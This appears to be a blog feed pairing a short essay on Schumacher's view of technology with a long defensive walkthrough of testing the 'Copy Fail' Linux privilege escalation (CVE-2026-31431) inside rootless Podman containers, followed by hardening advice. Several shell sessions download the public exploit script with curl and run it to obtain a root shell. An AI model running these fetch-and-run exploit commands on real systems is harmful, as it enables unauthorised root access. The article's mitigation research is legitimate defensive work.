https://garrido.io/index.xml

Revisiting Schumacher’s “Technology with a Human Face”, prescient and relevant since its writing 53 years ago.

We may say, therefore, that modern technology has deprived man of the kind of work that the enjoys most, creative, useful work with hands and brains, and given him plenty of work of a fragmented kind, most of which he does not enjoy at all. It has multiplied the number of people who are exceedingly busy doing kinds of work which, if it is productive at all, is so only in an indirect or “roundabout” way, and much of which would not be necessary at all if technology were rather less modern. (…) All this confirms our suspicion that modern technology, the way it has developed, is developing, and promises further to develop, is showing an increasingly inhuman face, and that we might do well to take stock and reconsider our goals.

The system of mass production, based on sophisticated, highly capital-intensive, high energy-input dependent, and human labour-saving technology, presupposes that you are already rich, for a great deal of capital investment is needed to establish one single workplace. The system of production by the masses mobilises the priceless resources which are possessed by all human beings, their clever brains and skillful hands, and supports them with first-class tools. The technology of mass production is inherently violent, ecologically damaging, self-defeating in terms of non-renewable resources, and stultifying for the human person. The technology of production by the masses, making use of the best of modern knowledge and experience, is conducive to decentralisation, compatible with the laws of ecology, gentle in its use of scarce resources, and designed to serve the human person instead of making him the servant of machines.

Let us admit that the people of the forward stampede, like the devil, have all the best tunes or at least the most popular and familiar tunes. You cannot stand still, they say; standing still means going down; you must go forward; there is nothing wrong with modern technology except that it is as yet incomplete; let us complete it. (…) “More, further, quicker, richer,” he says, “are the watchwords of the present-day society”. And he thinks we must help people to adapt, “For there is no alternative.” This is the authentic voice of the forward stampede, which talks in much the same tone as Dostoyevsky’s Grand Inquisitor: “Why have you come to hinder us?”

Schumacher wrote about high-technology machinations of his time, most of which persist today. Just as much can be said, however, about the high-technology of today. The tools rushing “inevitably” towards our grasp, “or else”.

Computers, the internet, and most digital artifacts enmeshed in our daily life are far from being low-technology: they pose a vast resource footprint, are and can be produced only by a few, and are dependent on capital-intensive and highly centralizing infrastructure.

What to make of this? Where’s the technology with a human face? This is a question that continues to inspire me despite the degenerate conditions which personal computing have provided a means to: mass surveillance, the pillaging of attention, and bondage to corporations.

I have no doubt that it is possible to give a new direction to technological development, a direction that shall lead it back to the real needs of man, and that also means: to the actual size of man. Man is small, and, therefore, small is beautiful. To go for giantism is to go for self-destruction. And what is the cost of a reorientation? We might remind ourselves that to calculate the cost of survival is perverse. No doubt, a price has to be paid for anything worth while: to redirect technology so that it serves man instead of destroying him requires primarily an effort of the imagination and an abandonment of fear.

It is in fact, an effort of the imagination. A few themes come to mind.

First, exercise self-limitation. Not every problem is inherently solved by technology, especially if it impedes or hinders autonomy and the enrichment of interpersonal relationships. Furthermore, develop a keen awareness for what’s essential and what’s superfluous.

If a problem can be solved by technology, consider its appropriateness in the context in which it is deployed, both in time and across time. Can a person or community maintain it? Can it be afforded? Can its fit be adapted as needed? Can it be wound down? What’s the simplest version of it that can satisfy these constraints? Can it leverage existing hardware and networks? Can it be done through technology steered by community and democratic structures?

There’s a lot of work to be done here in the light of our current predicaments. If you’re disappointed by the direction of things, heed the call and do not budge:

For it takes a good deal of courage to say “no” to the fashions and fascinations of the age and to question the presuppositions of a civilisation which appears destined to conquer the whole world; the requisite strength can be derived only from deep convictions. If it were derived from nothing more than fear of the future, it would likely disappear at the decisive moment.

Read in full here: https://cooperative-individualism.org/schumacher-e-f_technology-with-a-human-face-1973.htm

On April 29th CVE-2026-31431 was publicly disclosed at https://copy.fail/. This vulnerability allows a local unprivileged user to obtain a root shell by running the Python script shared by the author.

This exploit can be used to exploit Linux containers, which are widely used to run all sorts of things: public-facing services, development environments, continuous integration jobs, etc. A container exploited with Copy Fail can used quite effectively for many kinds of attacks.

---

This CVE is quite interesting to me as it’s been about a year since I moved away from Docker to Podman to run containers. Several reasons motivated this change, but chief among them was Podman’s security posture 1.

Podman makes it trivial to run containers as an unprivileged user, and this is known as running a container “rootless”. Unlike Docker, Podman uses a fork/exec model such that the container process is ultimately a descendant of the podman run process that is used to run the container. As a result, you can rely on standard UID separation to isolate your container processes from root or other users in the system.

As I read about Copy Fail I did not find much information about its use in rootless containers specifically. After performing some simple tests I confirmed that Copy Fail is indeed exploitable in rootless containers to obtain a container root shell, but the blast radius of this is severaly limited using several features in Podman.

At the time of publishing, there is not a lot of information about container escapes:

Root cause, scatterlist diagrams, the 2011 → 2015 → 2017 history, and the exploit walkthrough are on the Xint blog. Part 2 (Kubernetes container escape) is forthcoming.

In my testing, the container root is still limited to what the unprivileged user running the container can do at the host level.

All in all, Copy Fail has proven to be a great example to refer to when writing about Podman’s implementation of rootless containers. In this note I reproduce the exploit across distinct container configurations to try to understand the exposure of a compromised rootless container.

This article ended up being a bit long so feel free to jump ahead to the relevant parts if you need to:

1. A practical review of rootless containers, user namespaces and Linux capabilities
2. Using Copy Fail in rootless containers
3. Practicing defence in depth to further limit exposure in the event of a compromise

An overview of rootless containers

Let’s assume that I need to run an HTTP server to serve some HTML. The server will run in a container owned by an unprivileged user bar whose UID is 1001.

I install Podman, create the user bar, and switch to it. Then, I build the image using podman build and run the container using podman run:

root@debian:~# apt install -y podman
root@debian:~# useradd -m -d /var/lib/bar -s /bin/bash -u 1001 bar
root@debian:~# su - bar
bar@debian:~$ cat > Containerfile <<EOF
FROM ubuntu:latest

RUN apt update && apt install -y python3 && apt clean

RUN mkdir -p /var/www/html
WORKDIR /var/www/html

RUN cat > index.html <<HTML
<!DOCTYPE html><html lang="en"></html>
HTML

EXPOSE 8000
CMD ["python3", "-m", "http.server", "-b", "0.0.0.0", "8000"]
EOF
bar@debian:~$ podman build -t http-server .
bar@debian:~$ podman run --rm -it --name http-server-1 -d -p 127.0.0.1:8000:8000/tcp localhost/http-server:latest

The server should now be responding to requests:

bar@debian:~$ curl localhost:8000
<!DOCTYPE html><html lang="en"></html>

Rootless rootful

Let’s examine what this container process looks like. Using ps I can confirm that this python3 process is owned by the user bar:

root@debian:~# ps -fC python3
UID PID PPID C STIME TTY TIME CMD
bar 4861 4859 0 19:26 pts/0 00:00:00 python3 -m http.server -b 0.0.0.0 8000

As mentioned in the introduction, Podman uses a fork/exec model to run containers. User bar executed the podman run command, and the container command python3 descended from that process. This is in contrast to the standard Docker setup, in which running docker run as an unprivileged user executes a Docker client that interacts with a rootful daemon that ultimately spawns the container:

bar@debian:~$ docker run --rm -it -d --name http-server-1 http-server
bar@debian:~$ ps -fC python3
UID PID PPID C STIME TTY TIME CMD
root 5198 5175 5 19:20 pts/0 00:00:00 python3 -m http.server -b 0.0.0.0 8000
bar@debian:~$ docker container top http-server-1
UID PID PPID C STIME TTY TIME CMD
root 4844 4820 0 14:51 pts/0 00:00:00 python3 -m http.server -b 0.0.0.0 8000

Now, containers also have users and groups to determine permissions inside the container. Most images default to running the container commands as root in the absence of an explicit USER instruction in the Containerfile or a --user flag when running the container.

Using podman top I can confirm that the python3 container process is running as root as I did not declare which user executes the process:

bar@debian:~$ podman top http-server-1 huser,user,pid,args
HUSER USER PID COMMAND
1001 root 1 python3 -m http.server -b 0.0.0.0 8000

Remember that containers share the kernel with the host. What does being root inside the container mean? Surely this is not the same as host root given that we’re using an unprivileged user?

User namespaces

Podman uses user namespaces for rootless containers. User namespaces allow processes to have different a UID/GID inside and outside the container. In our previous example, the python3 process has a UID of 0 (i.e container root) inside the namespace while being mapped to UID 1001 (i.e host bar) outside it.

The range of UIDs that can be allocated to namespaced processes of user bar is determined in /etc/subuid:

bar@debian:~$ grep bar /etc/subuid
bar:165536:65536

Besides UID 1001, there are 65,537 UIDs can be allocated to processes of bar, starting with 165536 and ending with 231072 (165536 + 65537).

Our current image is based off of ubuntu, which brings its own set of users:

bar@debian:~$ podman run --rm -it --name http-server-1 localhost/http-server:latest cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

Processes and objects from these users have the UIDs shown above within the bar user namespace. Outside the namespace these are mapped to a UID within the 165537-231072 range, with the exception of root which is mapped to host UID 1001.

For example, let’s have bar run sleep in the container as user www-data:

bar@debian:~$ podman run --rm -it -d --name http-server-1 --user=www-data localhost/http-server:latest sleep 60
bar@debian:~$ podman top http-server-1 huser,user,args
HUSER USER COMMAND
165568 www-data sleep 60

The sleep process is running as www-data inside the user namespace but is mapped to 165568 on the host. The user namespace affords standard UID isolation across processes of the same user. That is to say, from the host’s perspective, a process of www-data in the bar user namespace is separate from one of bar.

Docker does support using user namespaces, but it must be configured accordingly and only one user namespace is allowed. With Podman, each UNIX user has its rootless containers running in the corresponding user namespace.

You can use podman unshare to enter the user’s namespace without having to run a container. We can use this to understand the relationship between bar and the namespace root by comparing the ownership of bar’s home directory, both inside and outside the namespace:

bar@debian:~$ ls -ld $HOME
drwx------ 5 bar bar 4096 May 2 22:58 /var/lib/bar
bar@debian:~$ podman unshare ls -ld $HOME
drwx------ 5 root root 4096 May 2 22:58 /var/lib/bar

The last thing to understand about the container root is privileges. Per the Containerfile that we’re using, root was able to install python3 in the container using apt install. How was this possible given that installing packages involves multiple privileged operations and bar is not the host root?

Privileged operations

Podman uses Linux capabilities to grant granular root privileges to a container process. You can drop or add these capabilities both when building the image and running the container.

By using pscap we can observe that multiple capabilities are granted to the apt processes that runs during the image build for user bar:

root@debian:~# pscap
ppid pid uid command capabilities
10941 11272 bar apt * chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, sys_chroot, setfcap +

These capabilities are set by Podman and it is the combination of these what allows root in the namespace to perform privileged operations. Should we drop all capabilities during podman build using --cap-drop=all, the image will fail to build due to lack of permissions:

bar@debian:~$ podman build -t http-server --cap-drop=all --no-cache .
STEP 1/7: FROM ubuntu:latest
STEP 2/7: RUN apt update && apt install -y python3 && apt clean

WARNING: apt does not have a stable CLI interface. Use with caution in scripts.

E: setgroups 65534 failed - setgroups (1: Operation not permitted)
E: setegid 65534 failed - setegid (1: Operation not permitted)
E: seteuid 42 failed - seteuid (1: Operation not permitted)
E: setgroups 0 failed - setgroups (1: Operation not permitted)
Reading package lists...
W: chown to _apt:root of directory /var/lib/apt/lists/partial failed - SetupAPTPartialDirectory (1: Operation not permitted)
W: chown to _apt:root of directory /var/lib/apt/lists/auxfiles failed - SetupAPTPartialDirectory (1: Operation not permitted)
E: setgroups 65534 failed - setgroups (1: Operation not permitted)
E: setegid 65534 failed - setegid (1: Operation not permitted)
E: seteuid 42 failed - seteuid (1: Operation not permitted)
E: setgroups 0 failed - setgroups (1: Operation not permitted)
E: Method gave invalid 400 URI Failure message: Failed to setgroups - setgroups (1: Operation not permitted)
E: Method http has died unexpectedly!
E: Sub-process http returned an error code (112)
Error: building at STEP "RUN apt update && apt install -y python3 && apt clean": while running runtime: exit status 100

We certainly need the privileges in this case so we can either use the default set for root, or drop all capabilities and then set the ones that are necessary to install packages:

bar@debian:~$ podman build -t http-server --cap-drop=all --cap-add=CAP_SETUID,CAP_SETGID,CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER --no-cache .

Knowing this, we can go back and review the capabilities granted to the python3 process behind our HTTP server:

bar@debian:~$ podman run --rm -it -d --name http-server-1 -p 127.0.0.1:8000:8000/tcp localhost/http-server:latest
bar@debian:~$ podman top http-server-1 user,capeff,args
USER EFFECTIVE CAPS COMMAND
root CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT python3 -m http.server -b 0.0.0.0 8000

Our HTTP server is running as container root with a lot of capabilities that it doesn’t need. That is quite the surface area to exploit in the event that the container process is compromised2.

We can improve the situation by dropping all capabilities when starting the container:

bar@debian:~$ podman run --rm -it -d --name http-server-1 -p 127.0.0.1:8000:8000/tcp --cap-drop=all localhost/http-server:latest
bar@debian:~$ podman top http-server-1 user,capeff,argsUSER EFFECTIVE CAPS COMMAND
root none python3 -m http.server -b 0.0.0.0 8000

Much better! Yet, we can go further. Even without capabilities, root can still modify all the files that it owns. There is no need for our server to run under root, so lets have an unprivileged user do it.

Rootless non-root

To run our HTTP server as an unprivileged user within the container we can either inspect the base image’s /etc/passwd file and choose an existing user (e.g www-data), or create our own during the image build. In my case I prefer to use a dedicated foo user with UID 1002 that has read-only access to the served files:

FROM ubuntu:latest

RUN apt update && apt install -y python3 && apt clean

RUN mkdir -p /var/www/html
+ RUN groupadd -g 1002 foo
+ RUN useradd -s /bin/bash -g 1002 -u 1002 foo
+ RUN chown root:foo /var/www/html
WORKDIR /var/www/html

RUN cat > index.html <<HTML
<!DOCTYPE html><html lang="en"></html>
HTML

+ USER foo:foo
EXPOSE 8000
CMD ["python3", "-m", "http.server", "-b", "0.0.0.0", "8000"]

Once again I build and run the container. Note that I don’t need to specify the user explicitly when I run podman run because the USER foo:foo instruction in the Containerfile sets that UID for all processes thereafter.

bar@debian:~$ podman run --rm -it -d --name http-server-1 -p 127.0.0.1:8000:8000/tcp --cap-drop=all localhost/http-server:latest
bar@debian:~$ podman top http-server-1 huser,user,capeff,args
HUSER USER EFFECTIVE CAPS COMMAND
166537 foo none python3 -m http.server -b 0.0.0.0 8000

All good! Our server is running as user foo inside the container, mapped to UID 166537 on the host, and without any capabilities.

Container processes should run with the least amount of privileges, only adding them as necessary. For example, if we wanted to have python3 bind to privileged port 80 while running as foo, we would have to grant the NET_BIND_SERVICE capability using --cap-add=CAP_NET_BIND_SERVICE during podman run.

To conclude, there are four ways in which our container could possibly be configured to run:

Host user Container user Term root root root rootful root unprivileged root non-root unprivileged root rootless rootful unprivileged unprivileged rootless non-root

Podman makes it trivial to run a rootless rootful container, and rather easy to run a rootless non-root container as long as the container image affords you to execute the container’s process as an unprivileged user. The latter typically requires more familiarity with how the container image is built.

Bind mounts

Before moving on to Copy Fail, let’s review what we’ve seen so far with the concept of bind mounts.

We will mount a host directory into the container, and this directory will have files owned by the host root, host bar, and namespaced foo. These files will be readable only by their respective user and group, but the directory will be writable by anyone so that the container user can create its file:

root@debian:~# mkdir /var/lib/bar/test
root@debian:~# chown bar:bar /var/lib/bar/test
root@debian:~# chmod 0777 /var/lib/bar/test
root@debian:~# echo 'I am root' > /var/lib/bar/test/root.txt
root@debian:~# su - bar
bar@debian:~$ echo 'I am bar' > test/bar.txt
bar@debian:~$ exit
root@debian:~# chmod u=rw,g=r,o= /var/lib/bar/test/*.txt
root@debian:~# ls -l /var/lib/bar/test
total 8
-rw-r----- 1 bar bar 9 May 4 14:40 bar.txt
-rw-r----- 1 root root 10 May 4 14:40 root.txt

Now, let’s mount this directory into the container, run it as foo, and try to read the contents:

bar@debian:~$ podman run --rm -it --name http-server-1 -v ./test:/test:rw localhost/http-server:latest /bin/bash
foo@d1c30d4bfe95:/var/www/html$ ls -l /test
total 8
-rw-r----- 1 root root 9 May 4 14:40 bar.txt
-rw-r----- 1 nobody nogroup 10 May 4 14:40 root.txt
foo@d1c30d4bfe95:/var/www/html$ cat /test/*.txt
cat: /test/bar.txt: Permission denied
cat: /test/root.txt: Permission denied
foo@d1c30d4bfe95:/var/www/html$

As expected, the file owned by host bar is shown as owned by root. However, host root is nobody:nogroup because host root is not mapped to any user in the bar user namespace.

Namespaced user foo cannot read any of these mounted files. Hence, using rootless non-root provides further isolation than rootless rootful because the container process cannot access processes or files owned by bar (i.e namespace root).

Now, lets have foo create a file in the bind mount:

foo@a94715fe7fa9:/var/www/html$ echo 'I am foo' > /test/foo.txt
foo@a94715fe7fa9:/var/www/html$ chmod u=rw,g=r,o= /test/foo.txt
foo@a94715fe7fa9:/var/www/html$ ls -l /test
total 12
-rw-r----- 1 root root 9 May 4 14:40 bar.txt
-rw-r----- 1 foo foo 9 May 4 14:48 foo.txt
-rw-r----- 1 nobody nogroup 10 May 4 14:40 root.txt

Back on the host, let’s look at the directory that was mounted and try to access the file created by namespaced foo:

bar@debian:~$ ls -l test
total 12
-rw-r----- 1 bar bar 9 May 4 14:40 bar.txt
-rw-r----- 1 166537 166537 9 May 4 14:48 foo.txt
-rw-r----- 1 root root 10 May 4 14:40 root.txt
bar@debian:~$ cat test/foo.txt
cat: test/foo.txt: Permission denied

As expected, the file created by foo is owned by its mapped UID and thus bar cannot read the contents of it.

What about running the container process as user root?

bar@debian:~$ podman run --rm -it --name http-server-1 --user=root -v ./test:/test:rw localhost/http-server:latest /bin/bash
root@7f99bdf6766f:/var/www/html# ls -l /test
total 12
-rw-r----- 1 root root 9 May 4 14:40 bar.txt
-rw-r----- 1 foo foo 9 May 4 14:48 foo.txt
-rw-r----- 1 nobody nogroup 10 May 4 14:40 root.txt
root@7f99bdf6766f:/var/www/html# cat /test/*.txt
I am bar
I am foo
cat: /test/root.txt: Permission denied

As expected, namespaced root can read its “own” file and foo’s, but not the one owned by host root. Should we drop the container’s capabilities then root is unable to read foo’s file:

bar@debian:~$ podman run --rm -it --name http-server-1 --user=root --cap-drop=all -v ./test:/test:rw localhost/http-server:latest /bin/bash
root@dbe4cb171f13:/var/www/html# cat /test/*.txt
I am bar
cat: /test/foo.txt: Permission denied
cat: /test/root.txt: Permission denied

Copy Fail

At this point we have a good grasp of how rootless containers rely on user namespaces and UIDs for process isolation, and Linux capabilities to perform privileged operations. Let’s see what we can achieve using Copy Fail in various rootless container configurations.

Note: I am using the version of Copy Fail that was originally published in commit 8e918b5.

We will use our existing HTTP server container to get a sense of how a container can be compromised and what mechanisms we have to limit the blast radius. But first, let’s update our previous Container file so that curl is installed in the container. We will use that download the exploit.

FROM ubuntu:latest

+ RUN apt update && apt install -y python3 curl && apt clean
- RUN apt update && apt install -y python3 && apt clean

RUN mkdir -p /var/www/html
RUN groupadd -g 1002 foo
RUN useradd -s /bin/bash -g 1002 -u 1002 foo
RUN chown root:foo /var/www/html
WORKDIR /var/www/html

RUN cat > index.html <<HTML
<!DOCTYPE html><html lang="en"></html>
HTML

USER foo:foo
EXPOSE 8000
CMD ["python3", "-m", "http.server", "-b", "0.0.0.0", "8000"]

I’ll call this image copyfail:

bar@debian:~$ podman build -t copyfail .

I need to make sure that I am on a kernel that has not yet been patched. I am using Debian, so any recent version below 6.12.85 will do:

bar@debian:~$ uname -r
6.12.74+deb13+1-amd64

Copy Fail affords running su without a password prompt whatsoever, thus obtaining a root shell. Calling su as an unprivileged user will normally prompt for the root password:

bar@debian:~$ podman run --rm -it --name copyfail localhost/copyfail /bin/bash
foo@c0e7377ce040:/var/www/html$ su
Password:

In each test, the container user will download the Copy Fail script to /tmp and then execute it. If a root shell is obtained, sleep is called. Copy Fail persists across container lifecycles, so this VM is rebooted prior to each test.

Rootless rootful

Let’s go back to running our HTTP server as a rootless rootful container, meaning, the process runs as root inside the container but as unprivileged user bar in the host.

bar@debian:~$ podman run --rm -it --name copyfail --user=root localhost/copyfail /bin/bash
root@4c4dd3eb4e84:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)
root@4c4dd3eb4e84:/var/www/html# cd /tmp
root@4c4dd3eb4e84:/tmp# curl -o copy_fail_exp.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/8e918b538783f64cb812fab3e8a784b0b13c6c94/copy_fail_exp.py
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 732 100 732 0 0 2554 0 --:--:-- --:--:-- --:--:-- 2559
root@4c4dd3eb4e84:/tmp# python3 copy_fail_exp.py && su
# id
uid=0(root) gid=0(root) groups=0(root)
# sleep 60

What happened here is what you would normally expect if you’re the root user. root can invoke su to open another root shell, no password is necessary. Here’s the same set of commands without Copy Fail:

bar@debian:~$ podman run --rm -it --name copyfail --user=root localhost/copyfail /bin/bash
root@19f2187d5b57:/var/www/html# su
root@19f2187d5b57:/var/www/html#

It goes without saying that Copy Fail is not contributing anything in this particular container since we were already root. Looking at our container process we can see that all of the processes are running as root inside the user namespace though still as bar in the host. Also, the exact same of capabilities persist across both shells:

bar@debian:~$ podman top copyfail huser,user,pid,args,capeff
HUSER USER PID COMMAND EFFECTIVE CAPS
1001 root 1 /bin/bash CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT
1001 root 6 python3 copy_fail_exp.py CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT
1001 root 7 sh -c -- su CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT
1001 root 8 [sh] CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT
1001 root 10 sleep 60 CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT

Lastly, root cannot read the mounted host file /test/root.txt:

# cat /test/*.txt
I am bar
I am foo
cat: /test/root.txt: Permission denied

Rootless non-root

We know better than running the container process as root, so let’s repeat the exploit using foo.

bar@debian:~$ podman run --rm -it --name copyfail -v ./test:/test:rw localhost/copyfail:latest /bin/bash
foo@ef4c1e6775bd:/var/www/html$ id
uid=1002(foo) gid=1002(foo) groups=1002(foo)
foo@ef4c1e6775bd:/var/www/html$ cd /tmp
foo@ef4c1e6775bd:/tmp$ curl -o copy_fail_exp.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/8e918b538783f64cb812fab3e8a784b0b13c6c94/copy_fail_exp.py
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 732 100 732 0 0 2227 0 --:--:-- --:--:-- --:--:-- 2231
foo@ef4c1e6775bd:/tmp$ python3 copy_fail_exp.py && su
# id
uid=0(root) gid=1002(foo) groups=1002(foo)
# sleep 60

It worked! We were able to escalate from container foo to container root. Looking at the container processes, we can confirm that sleep is running as container root and host bar, and some new capabilities were assumed:

bar@debian:~$ bar@debian:~$ podman top copyfail huser,user,pid,args,capeff
HUSER USER PID COMMAND EFFECTIVE CAPS
166537 foo 1 /bin/bash none
166537 foo 7 python3 copy_fail_exp.py none
166537 foo 8 sh -c -- su none
1001 root 9 [sh] CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT
1001 root 10 sleep 60 CHOWN,DAC_OVERRIDE,FOWNER,FSETID,KILL,NET_BIND_SERVICE,SETFCAP,SETGID,SETPCAP,SETUID,SYS_CHROOT

Nonetheless, our root cannot yet access the mounted host root file:

# cat /test/*.txt
I am bar
I am foo
cat: /test/root.txt: Permission denied

At this point the container has been compromised and can be leveraged for all sorts of things. We’ve limited the blast radius of the exploit to the container and whatever unprivileged user bar can do on the host.

Is there anything we can do to mitigate the exploit in the first place?

Rootless non-root while disabling new privileges

Podman allows running containers such that the container process cannot gain any additional privileges than the ones it began with.

All we have to do is add --security-opt=no-new-privileges to our podman run command and repeat the exploit:

bar@debian:~$ podman run --rm -it --name copyfail --security-opt=no-new-privileges -v ./test:/test:rw localhost/copyfail:latest /bin/bash
foo@3422d6ffc15a:/var/www/html$ cd /tmp
foo@3422d6ffc15a:/tmp$ curl -o copy_fail_exp.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/8e918b538783f64cb812fab3e8a784b0b13c6c94/copy_fail_exp.py
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 732 100 732 0 0 2697 0 --:--:-- --:--:-- --:--:-- 2701
foo@3422d6ffc15a:/tmp$ python3 copy_fail_exp.py && su
$ id
uid=1002(foo) gid=1002(foo) groups=1002(foo)
$ sleep 60

Interesting! We gained a shell but it is still foo. We can look at the container processes to confirm that the user is still the same one:

bar@debian:~$ podman top copyfail huser,user,pid,args,capeff
HUSER USER PID COMMAND EFFECTIVE CAPS
166537 foo 1 /bin/bash none
166537 foo 8 python3 copy_fail_exp.py none
166537 foo 9 sh -c -- su none
166537 foo 10 [sh] none
166537 foo 12 sleep 60 none

Once again, foo is limited to reading its own file:

$ cat /test/*.txt
cat: /test/bar.txt: Permission denied
I am foo
cat: /test/root.txt: Permission denied

This is much better. The container has been compromised but it’s still running as unprivileged user foo without any capability whatsoever. It is limited to whatever foo can do within the container.

Rootless non-root while dropping capabilities

We saw earlier than we can use --cap-drop=all to drop all capabilities upon starting the container process. Would this impede the exploit somehow, given that foo has no capabilities to begin with?

bar@debian:~$ podman run --rm -it --name copyfail --cap-drop=all -v ./test:/test:rw localhost/copyfail /bin/bash
foo@21e516acea41:/var/www/html$ cd /tmp
foo@21e516acea41:/tmp$ curl -o copy_fail_exp.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/8e918b538783f64cb812fab3e8a784b0b13c6c94/copy_fail_exp.py
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 732 100 732 0 0 2500 0 --:--:-- --:--:-- --:--:-- 2498
foo@21e516acea41:/tmp$ python3 copy_fail_exp.py && su
$ id
uid=1002(foo) gid=1002(foo) groups=1002(foo)
$ sleep 60

Let’s check the container processes:

bar@debian:~$ podman top copyfail huser,user,pid,args,capeff
HUSER USER PID COMMAND EFFECTIVE CAPS
166537 foo 1 /bin/bash none
166537 foo 6 python3 copy_fail_exp.py none
166537 foo 7 sh -c -- su none
166537 foo 8 [sh] none
166537 foo 10 sleep 60 none

Once again, the exploit failed to yield a root shell, and our processes is still without capabilities. foo is also limited to readings its own files:

$ cat /test/*.txt
cat: /test/bar.txt: Permission denied
I am foo
cat: /test/root.txt: Permission denied

This is akin to the result of the previous test, and these two measures can be combined to effectively limit capabilities.

The exploit persists

We’ve limited the immediate effects of the exploit, by way of impeding a root shell with capabilities in the container. Nonetheless, the exploit was still effective.

If I run another container without the capabilities flags, I can assume container root by calling su as the unprivileged container user:

bar@debian:~$ podman run --rm -it --name copyfail -v ./test:/test:rw localhost/copyfail /bin/bash
foo@1eccd04fd2bd:/var/www/html$ su
# id
uid=0(root) gid=1002(foo) groups=1002(foo)

Hence, you should still patch your kernel and reboot.

Defence in depth

All in all, this is quite the exploit. A Remote Code Execution (RCE) vulnerability could be used to run Copy Fail and obtain a privileged root shell inside the container, regardless of it being rootless. A compromised container can be used to bootstrap all kinds of attacks.

Fortunately, we are able to limit exposure to this immediate exploit by dropping capabilities and disabling new privileges upon the container’s start. That being said, the exploit was still effective in its underyling method (writing to the page cache) and can still be leveraged to do further damage.

We can practice defense-in-depth and apply other tools at our disposal to further limit the exposure to a container compromise of this kind.

Read-only images

You can add the --read-only flag to podman run so that the container root filesystem is mounted as read-only. Podman still defaults to mounting some writeable folders directories such as /tmp, /run, /var/tmp. You need to add the --read-only-tmpfs=false flag as well to make the container completely read-only.

No writes to the system would be allowed in the event of a compromise of a read-only container. This would limit certain kinds of attacks post-exploit but not impede the exploit itself as you can still pipe the output of curl to python3.

Now, the ability to use these flags depends on how your container processes work. We can safely use these in our example because our python3 HTTP server does not need to write to the filesystem. However, most pre-built images out there assume write access to certain directories and may fail to work correctly in a read-only root filesystem.

It should be noted that the read-only root filesystem is independent of any writeable volumes that you attach to the container. That directory can be written to in the event of a compromise.

bar@debian:~$ podman run --rm -it --name copyfail --read-only --read-only-tmpfs=false -v ./test:/test:rw localhost/copyfail:latest /bin/bash
foo@be21db39a7fb:/var/www/html$ touch /test/foo2.txt
foo@be21db39a7fb:/var/www/html$ touch /tmp/test.txt
touch: cannot touch '/tmp/test.txt': Read-only file system
foo@be21db39a7fb:/var/www/html$ touch $HOME/test.txt
touch: cannot touch '/var/lib/foo/test.txt': Read-only file system

Resource constraints

Both Docker and Podman support limiting resources available to containers using cgroups. Containers don’t need unlimited memory, CPU, or PIDs. You can examine you container’s resource usage using podman stats and then apply limits accordingly.

Limit available binaries

We based our container image off of ubuntu to keep this exercise simple. The ubuntu image includes a lot of binaries that are available to an attacker in the event of a compromise. These binaries, however, are not necessary to run our humble HTTP server.

You should consider running an image that is as slim as possible as runtime. We could have used a multi-stage build to separate the container’s build-time and runtime environments. Alternatively, we could base off of smaller purpose-built images such as the python3 image, or a use an overall leaner distribution such as -slim variations of Debian or even alpine.

Lastly, so long it is compatible with your container process, you could go even further and use distroless images or scratch for a runtime without shells, package managers, and system utilities.

Firewalling

You can easily firewall off the container’s process using iptables or nftables. Limit incoming and outgoing connections to only what’s strictly necessary for the container process. In our HTTP example, we don’t need DNS nor connecting to any local or remote server so why not limit tcp packets to only those from an established incoming connection.

Conclusion

I hope this proves to be an adequate overview of Podman rootless containers, and how these can be used to limit the exposure in the event of a container compromise in the hands of exploits such as Copy Fail. As stated, rootless containers are not immune to this exploit, but can and should be configured in such a way that curtails subsequent attacks.

